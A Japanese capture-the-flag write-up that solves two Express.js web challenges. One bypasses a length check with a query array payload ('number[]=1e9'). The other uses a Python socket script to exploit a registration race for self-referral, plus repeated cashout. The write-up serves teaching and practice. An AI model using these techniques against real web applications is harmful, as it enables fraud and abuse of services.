[web] cookie recipes v3
Mmmmmmm...
ソースコード有り。クッキーを焼いて10億個以上集めるとフラグが得られるWebアプリケーション。クッキーを焼く際にnumberパラメータの長さが2文字以下に制限されている。この制限をどうバイパスするかがポイント。
app.post('/bake', (req, res) => { const number = req.query.number if (!number) { res.end('missing number') } else if (number.length <= 2) { cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number)) res.end(cookies.get(req.user).toString()) } else { res.end('that is too many cookies') } }) app.post('/deliver', (req, res) => { const current = cookies.get(req.user) ?? 0 const target = 1_000_000_000 if (current < target) { res.end(`not enough (need ${target - current}) more`) } else { res.end(process.env.FLAG) } })
配列パラメータの悪用
Express.jsのクエリパラメータ処理では、?number[]=1e9
のように配列形式でパラメータを送ると、req.query.number
は配列オブジェクト['1e9']
になる。このときnumber.length
は配列の長さを表すため、1
となり、2文字以下の制限を満たす。この状態でNumber(number)
が実行されると、JavaScriptで良い感じに解釈してくれて、1000000000
(10億)になる。
POST /bake?number[]=1e9 HTTP/1.1 Host: [redacted]
以上のようにやれば、10億個買えてフラグがPOST /deliver
で手に入る。
[web] pyramid
Would you like to buy some supplements?
ソースコード有り。ネズミ講(ピラミッドスキーム)を模したwebアプリでコインを稼ぐ問題。問題にアクセスすると、サプリメントを販売するサイトが表示される。このサイトでは以下の機能がある。
- ユーザー登録(紹介コード付きで登録可能)
- 紹介コードの生成
- 紹介ユーザー数をコインに換金
- 100,000,000,000コイン以上でフラグを購入可能
通常の方法では十分なコインを集めるのは時間がかかりすぎるので、非同期処理の脆弱性を利用して自己紹介をして、指数関数的にお金を増やすということをする。
1. ユーザー登録の非同期処理を悪用した自己紹介
ユーザー登録で見慣れぬ形を見つけた。
app.post('/new', (req, res) => { const token = random() const body = [] req.on('data', Array.prototype.push.bind(body)) req.on('end', () => { const data = Buffer.concat(body).toString() const parsed = new URLSearchParams(data) const name = parsed.get('name')?.toString() ?? 'JD' const code = parsed.get('refer') ?? null // referrer receives the referral const r = referrer(code) if (r) { r.ref += 1 } users.set(token, { name, code, ref: 0, bal: 0, }) }) res.header('set-cookie', `token=${token}`) res.redirect('/') })
非同期処理になっていて、Request Bodyを受け取る前に、set-cookieをしてredirect /を返している。つまり、ユーザー情報が保存される前にトークンを得ることができる。よって、以下の流れで自己紹介することができる。
POST /new
にRequest Header部分のみを送信するとレスポンスが返ってくるので取得して、止めておく(ソケットを維持)- レスポンスにtokenが含まれているので、
GET /code
を使って招待コードを取得する - 手順1の続きとして、名前と手順2で得られた招待コードを渡すと、自分で自分を招待する形でユーザー登録ができる
これを根性実装すると以下のようになる。
import socket import ssl import time import re import httpx s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) context = ssl.create_default_context() host = "[redacted]" port = 443 s.connect((host, port)) ssl_sock = context.wrap_socket(s, server_hostname=host) body = "name=same-chan&refer=" placeholder = "4e56977f932a272bda40c1c49b06ecfe" request_headers = ( f"POST /new HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body)+len(placeholder)}\r\n" f"Connection: keep-alive\r\n" f"\r\n" ) ssl_sock.sendall(request_headers.encode()) ssl_sock.settimeout(3.0) response = ssl_sock.recv(4096) response_str = response.decode('utf-8', errors='ignore') token_match = re.search(r'set-cookie:\s*token=([^;\r\n]+)', response_str, re.IGNORECASE) token = token_match.group(1) headers = { "Cookie": f"token={token}" } response = httpx.get(f"https://{host}/code", headers=headers, timeout=10) response.raise_for_status() res = response.text.strip() token_match = re.search(r'<strong>([0-9a-f]*)</strong>', res, re.IGNORECASE) code = token_match.group(1) body += code ssl_sock.sendall(body.encode()) print(f"{token=}") print(f"{code=}") print(f"{body=}") ssl_sock.close()
2. 換金処理の悪用
自己紹介の状態でGET /cashout
をすると、指数関数的にお金を増やすことができる。
// referrals translate 1:1 to coins // you receive half of your referrals as coins // your referrer receives the other half as kickback // // if your referrer is null, you can turn all referrals into coins app.get('/cashout', (req, res) => { if (req.user) { const u = req.user const r = referrer(u.code) if (r) { [u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2] } else { [u.ref, u.bal] = [0, u.bal + u.ref] } } res.redirect('/') })
これだと分かりにくいと思うので、自分が自分を招待したときの動作をシミュレートするコードで実験する。
var ur = 1; var ub = 0; for (let i = 0; i < 100; i++) { [ur, ur, ub] = [0, ur + ur / 2, ub + ur / 2]; console.log(`ur: ${ur}, ub: ${ub}`); }
これをnodeで動かすと、
... ur: 2184164.40907457, ub: 2184163.40907457 ur: 3276246.613611855, ub: 3276245.613611855 ur: 4914369.920417783, ub: 4914368.920417783 ur: 7371554.880626675, ub: 7371553.880626675 ur: 11057332.320940012, ub: 11057331.320940012 ur: 16585998.48141002, ub: 16585997.48141002 ur: 24878997.72211503, ub: 24878996.72211503 ur: 37318496.583172545, ub: 37318495.583172545 ur: 55977744.87475882, ub: 55977743.87475882 ur: 83966617.31213823, ub: 83966616.31213823 ur: 125949925.96820734, ub: 125949924.96820734 ur: 188924888.952311, ub: 188924887.952311 ur: 283387333.4284665, ub: 283387332.4284665 ur: 425081000.1426997, ub: 425080999.1426997 ur: 637621500.2140496, ub: 637621499.2140496
となって、指数関数的に増えていくことが分かる。なので、自己紹介ユーザーを作ったら、適当に別のユーザーを招待して作って招待ポイントを数点手に入れたら、あとは、GET /cashout
を押しまくればよい。コインが指数関数的に増加し、100,000,000,000コインを超えたらフラグが買える。